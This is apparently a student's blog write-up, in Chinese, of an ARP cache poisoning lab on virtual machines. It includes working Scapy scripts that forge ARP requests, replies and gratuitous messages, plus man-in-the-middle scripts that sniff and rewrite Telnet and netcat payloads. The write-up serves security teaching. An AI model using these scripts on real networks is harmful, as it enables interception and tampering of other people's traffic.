ARP Cache Poisoning Attack

Overview

ARP(地址解析协议)协议是工作在网络层当中,它的作用是将IP地址转化成对应的MAC物理地址,从而进行链路层的链接以及通信,而ARP是不安全的,我们可以通过伪造对应的ARP包来实现ARP攻击,例如中间人攻击(Man-In-The-Middle),参考blog

Task 1: ARP Cache Poisoning

首先是ARP包的构造,通过使用scapy可以进行实现

#!/usr/bin/python3
from scapy.all import *

E = Ether()
A = ARP()
pkt = E/A
sendp(pkt)

之后运行截图如下,并且通过ls(ARP)的命令可以来查看ARP各个字段的属性

task1-1

下面分别是三种方式来实现攻击(三台VM分别为A,B,M,我们需要实现的是对A的cache来进行攻击,使得在A的缓存中B的IP地址对应的是M的MAC地址)

先记录下VM A,B,M的MAC地址以及对应的IP地址

M:

taskA-1

A:

taskA-2

B:

taskA-3

然后分别记录下每个VM的初始化ARP缓存

M:

taskA-4

A:

taskA-5

B:

taskA-6

Task 1A (using ARP request)

方法是在主机M上进行构造ARP request报文,发送给主机A

具体如何实现的:在ARPrequest和response当中,当知道目的主机IP但是不知道对应的MAC地址的时候,我们可以将对应的目的地址设置为ff-ff-ff-ff-ff-ff-ff,此时会进行全站的广播,而当主机A收到广播对应的request报文的时候,他会先将request报文中的源IP地址和源MAC地址缓存在A的ARP cache当中

下面是相关代码

#!/usr/bin/python3
from scapy.all import *

VM_B_IP = "10.0.2.6"

dst_IP = "10.0.2.5"

MAC = "08:00:27:e6:ae:83"

print("Start the cache poison attack, check weather it succeed")

E = Ether()

E.src = MAC

A = ARP()

A.op = 1
A.hwsrc = MAC
A.psrc = VM_B_IP
A.pdst = dst_IP

pkt = E/A
sendp(pkt)

这是在VM M上的运行截图

taskA-8

在VM A上,也就是我们的所要欺骗的ARP cache的主机

taskA-9

wireshark发现的确抓到了包,此时查看此时的ARP的cache情况

taskA-7

发现会多了B的IP地址映射到M的MAC地址上的信息

这种方法是可行的,但是同时也会在A上面添加M的IP地址以及M的MAC地址相对应的条目,我认为这是由于在最开始的过程中,我的VM M并没有主机A的对应条目所导致的

Task 1B (using ARP reply)

方法是在VM M上构造一个ARP reply报文,并且把这个报文发送给主机A

具体实现方法,当一个主机收到一个ARP reply报文的时候,它会直接把保温里面对应的源IP地址以及源MAC地址存储起来

taskB-1

首先需要将存储在VM A上面的原来欺骗成功的那一项删除,之后再进行欺骗

相关代码

#!/usr/bin/python3
from scapy.all import *

VM_A_MAC = "08:00:27:69:66:dc"

VM_A_IP = "10.0.2.5"

VM_B_IP = "10.0.2.6"

M_MAC = "08:00:27:e6:ae:83"

print("Start cache attack by using ARP reply, check the cache")
E = Ether()

E.src = M_MAC
E.dst = VM_A_MAC

A = ARP()

A.op = 2
A.hwsrc = M_MAC
A.psrc = VM_B_IP
A.hwdst = VM_A_MAC
A.pdst = VM_A_IP

pkt = E/A
sendp(pkt)

在M上的运行截图

taskB-2

之后用wireshark在A上面抓包,能看到会显示出对应的reply包

taskB-3)taskB-4

可以看到原本是没有这个记录/不完整的,之后在接收到reply包之后,B的IP对应M的MAC那一项在缓存中出现

这个方法也是可行的、

Task 1C (using ARP gratuitous message)

ARP免费报文的格式(op为1)

taskC-1

由于该报文的特殊性,它可以用来完成以下各项工作:
第1种:检查网络中IP地址是否冲突。
主机A发送免费ARP报文,假设其它主机收到来自主机A的免费ARP报文后发现自己的IP地址和报文中的IP地址冲突,则会产生相应的ARP应答给主机A,主机A得知本机的IP地址与其它主机的IP地址与冲突。
第2种:更新网络中主机的ARP缓存表。
当主机A改变了MAC地址,它通过发送免费ARP报文通知网络中的其它主机更新ARP缓存表中主机A对应的映射记录。

通过免费报文的发送,我们可以来进行修改cache的内容

网络中的设备根据收到的免费ARP报文中携带的信息对自身的ARP缓存表进行更新修改。
收到免费ARP报文后,设备会先判断ARP缓存表中是否存在与此免费ARP报文源IP地址对应的ARP缓存表映射记录:
存在:根据免费ARP报文中携带的信息更新对应的ARP缓存表映射记录;
不存在:根据免费ARP报文中携带的信息新建ARP缓存表映射记录。
若关闭免费ARP报文学习功能,设备不会新建原先不存在的ARP缓存表映射记录,但会更新已存在的对应ARP缓存表映射记录

在这里的具体实现方式:我们在主机M上面构造一个对应的免费报文,其中所有的本机IP我们都进行修改,改为B的IP,但是src的MAC地址还依旧是M的MAC地址,这样当主机A收到相应的报文的时候,就会根据报文内容来修改对应的cache

具体代码如下

#!/usr/bin/python3
from scapy.all import *

VM_B_IP = "10.0.2.6"

M_MAC = "08:00:27:e6:ae:83"

broadcast = "ff:ff:ff:ff:ff:ff"

print("Use the gratuitous message to attack the cache")

E = Ether()

E.dst = broadcast
E.src = M_MAC

A = ARP()

A.op = 1
A.hwsrc = M_MAC
A.psrc = VM_B_IP

A.hwdst = broadcast
A.pdst = VM_B_IP

pkt = E/A
sendp(pkt)

首先来看M上的运行

taskC-4

之后看VM A上面wireshark的抓包情况

taskC-2

发现会抓到包,并且更新cache

taskC-3

B的IP地址(10. 0. 2. 6)会对应到VM M的MAC地址上(08:00:27:e6:ae:83)

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Step 1 (Launch the ARP cache poisoning attack)

在这里,采用了ARP request的方式来attack A和B里面的cache

代码如下

#!/usr/bin/python3
from scapy.all import *

#VM_B_IP = "10.0.2.6"
VM_A_IP = "10.0.2.5"
#dst_IP = "10.0.2.5"
dst_IP = "10.0.2.6"

MAC = "08:00:27:e6:ae:83"

print("Start the cache poison attack, check weather it succeed")

E = Ether()

E.src = MAC

A = ARP()

A.op = 1
A.hwsrc = MAC
A.psrc = VM_A_IP
A.pdst = dst_IP

pkt = E/A
sendp(pkt)

之后A和B的cache缓存表发生变化,结果如下

task2-1)task2-2

都将IP对应的MAC地址映射到了M的MAC地址上

Step 2 (Testing)

由于在A上ping B和在B上面ping A得到的结果一样,所以下面截图和说明就以Aping B为例子来说明

在A的terminal上面输入ping命令,发现刚开始会一直卡在第一行,之后会出现后面的东西

task2-3

同时,在wireshark关闭混杂模式的情况下进行抓包

在A中

task2-4

会发现所有的request都是没有收到回答,no response found,大致原因如下

1.在同一网段内

在主机 A 上运行“Ping 192.168.0.5”后,都发生了些什么呢? 首先,Ping 命令会构建一个 固定格式的 ICMP 请求数据包, 然后由 ICMP 协议将这个数据包连同地址“192.168.0.5”一起 交给IP 层协议(和 ICMP 一样,实际上是一组后台运行的进程),IP 层协议将以地址 “192.168.0.5”作为目的地址,本机 IP 地址作为源地址,加上一些其他的控制信息,构建一 个 IP 数据包,并想办法得到 192.168.0.5 的MAC 地址(物理地址,这是数据链路层协议构 建数据链路层的传输单元——帧所必需的),以便交给数据链路层构建一个数据帧。关键就 在这里,IP 层协议通过机器 B 的 IP 地址和自己的子网掩码,发现它跟自己属同一网络,就 直接在本网络内查找这台机器的 MAC,如果以前两机有过通信,在 A 机的 ARP 缓存表应该 有 B 机 IP 与其 MAC 的映射关系,如果没有,就发一个 ARP 请求广播,得到 B 机的 MAC, 一并交给数据链路层。后者构建一个数据帧,目的地址是 IP 层传过来的物理地址,源地址 则是本机的物理地址,还要附加上一些控制信息,依据以太网的介质访问规则,将它们传送 出去。 主机 B 收到这个数据帧后,先检查它的目的地址,并和本机的物理地址对比,如符合, 则接收;否则丢弃。接收后检查该数据帧,将 IP 数据包从帧中提取出来,交给本机的 IP 层 协议。同样,IP 层检查后,将有用的信息提取后交给 ICMP 协议,后者处理后,马上构建 一个 ICMP 应答包,发送给主机 A,其过程和主机 A 发送 ICMP 请求包到主机 B 一模一样。

2.不在同一网段内

在主机 A 上运行“Ping 192.168.1.4”后,开始跟上面一样,到了怎样得到 MAC 地址时,IP 协议通过计算发现 D 机与自己不在同一网段内,就直接将交由路由处理,也就是将路由的 MAC 取过来,至于怎样得到路由的 MAC,跟上面一样,先在 ARP 缓存表找,找不到就广 播吧。路由得到这个数据帧后,再跟主机 D 进行联系,如果找不到,就向主机 A 返回一个 超时的信息。

所以在通过缓存表获得对应的M的MAC地址并且转发到M上,可以通过MAC地址的检查,但是IP的检查无法通过之后就会被丢弃

于此同时,在结束ping之后我们输入arp -a来查看当前的缓存表内容,会发现B的IP原本对应的是M的MAC地址,但是现在又便回到了B的MAC地址

task2-5

这说明在ping的时候,并不是一直都在被丢弃,很有可能进行来重新的ARP广播并且收到了真正的地址

同时,在B的cache中,A的IP地址对应的也有M的MAC地址转化为了A的MAC地址

task2-6

Step 3 (Turn on IP forwarding)

打开M上的IP转发,同时用wireshark进行抓包

task2-7

task2-9

task2-8

可以看到在每个request之后都会有一个重定向的过程,并且在B上面运行wireshark,也会发现能够收到包,并且在之后查看cache,会发现IP地址对应假的MAC会被修改为正确的MAC地址

Step 4 (Launch the MITM attack)

打开packet forward–建立telnet链接–关闭IP转发

结果如下,首先是打开packet forward功能并且建立从A到B的链接

task2-10

之后在三台VM上面分别打开wireshark并且关闭混杂模式来抓取TCP的包

之后在VM A上面输入ls命令,查看A的wireshark的包会发现

task2-11

而作为中间人的M并没有捕获到任何TCP的包

task2-12

而同时在B上面wireshark可以抓到对应的包

task2-13

同时,查看A和B此时的缓存表情况,会发现之前的MAC又被修改了回来

关于Telnet回显的一些点

Behavior of Telnet. In Telnet, typically, every character we type in the Telnet window triggers an individual TCP packet, but if you type very fast, some characters may be sent together in the same packet. That is why in a typical Telnet packet from client to server, the payload only contains one character. The character sent to the server will be echoed back by the server, and the client will then display the character in its window. Therefore, what we see in the client window is not the direct result of the typing; whatever we type in the client window takes a round trip before it is displayed. If the network is disconnected, whatever we typed on the client window will not displayed, until the network is recovered. Similarly, if attackers change the character to Z during the round trip, Z will be displayed at the Telnet client window, even though that is not what you have typed.

在这里,记得要把forward关掉

具体代码如下(其中为了说明原来的真正输入,我把olddata进行了打印)

#!/usr/bin/python3
from scapy.all import *
VM_A_IP = "10.0.2.5"
VM_B_IP = "10.0.2.6"
def spoof_pkt(pkt):
	if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:

# Create a new packet based on the captured one.
# (1) We need to delete the checksum fields in the IP and TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them for us if these fields are missing.
# (2) We also delete the original TCP payload.

		

		newpkt = IP(pkt[IP])
		del(newpkt.chksum)
		del(newpkt[TCP].chksum)
		del(newpkt[TCP].payload)


#####################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
		olddata = pkt[TCP].payload.load # Get the original payload data
		newdata = 'Z' # No change is made in this sample code
		print("Message:",olddata)
#####################################################################
# Attach the new data and set the packet out



		send(newpkt/newdata)
	elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
		send(pkt[IP]) # Forward the original packet
pkt = sniff(filter='tcp and not ether src 08:00:27:e6:ae:83',prn=spoof_pkt)

之后在M上面运行嗅探和欺骗程序,在A上面telnet B,当在A上面输入字符的时候,由于每个字符都是先通过TCP发送给server端,之后回显才会在client端进行显示,所以在这里,A上面应该显示的是ZZ,结果如下

在A上面输入ls

task2-14

而同时,在M上面打印sniff到的olddata

task2-15

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

关于netcat的一些点

Once the connection is made, you can type messages on A. Each line of messages will be put into a TCP packet sent to B, which simply displays the message.

具体实现的代码

#!/usr/bin/python3
from scapy.all import *
VM_A_IP = "10.0.2.5"
VM_B_IP = "10.0.2.6"
def spoof_pkt(pkt):
	if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:

# Create a new packet based on the captured one.
# (1) We need to delete the checksum fields in the IP and TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them for us if these fields are missing.
# (2) We also delete the original TCP payload.

		olddata = pkt[TCP].payload.load # Get the original payload data
		print("ARP Cache Poisoning Man-in-the-MiddleAttacking...")
		print("Original Packet.........")
		print("Source IP: ", pkt[IP].src)
		print("Destination IP: ", pkt[IP].dst)
		print("Message: ", olddata)
		print("Message Length: %d" % (len(olddata)))


		newpkt = IP(pkt[IP])
		del(newpkt.chksum)
		del(newpkt[TCP].chksum)
		del(newpkt[TCP].payload)


#####################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
		
		newdata = olddata.replace(b'haolong', b'AAAAAAA') 
		newpkt = newpkt/newdata


		print("Spoofed Packet.........")
		print("Source IP : ", newpkt[IP].src)
		print("Destination IP :", newpkt[IP].dst)
		print("Message: ", newdata)
		print("Message Length: %d" % (len(newdata)))

		
#####################################################################
# Attach the new data and set the packet out



		send(newpkt)
	elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
		print("The message is sent from host B to host A...")
		send(pkt[IP]) # Forward the original packet
pkt = sniff(filter='tcp and not ether src 08:00:27:e6:ae:83',prn=spoof_pkt)

在这里面,为了能够更加清晰的在M端看到修改的东西,加了一些print进去

运行结果,首先是建立好nc连接后,在A上面输入

tsk3-1

之后在M上面运行sniff_spoof程序,可以看到修改前和修改后的对比

task3-2

此时,可以看到长度以及不需要修改的字符串并没有发生改变,在B上面的显示

task3

回顾

ARP协议以及其相应的反面RARP都工作在网络层中,其主要作用是将IP地址转化为每个主机所独有的MAC地址

ARP报文格式

ARP报文封装在以太网帧中

ARP帧格式

而ARP的具体工作方式可以参考下面blog:

ARP缓存中毒

ARP原理

ARP协议格式和实例分析


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

IP/ICMP Attack lab 上一篇
Format-String-lab 下一篇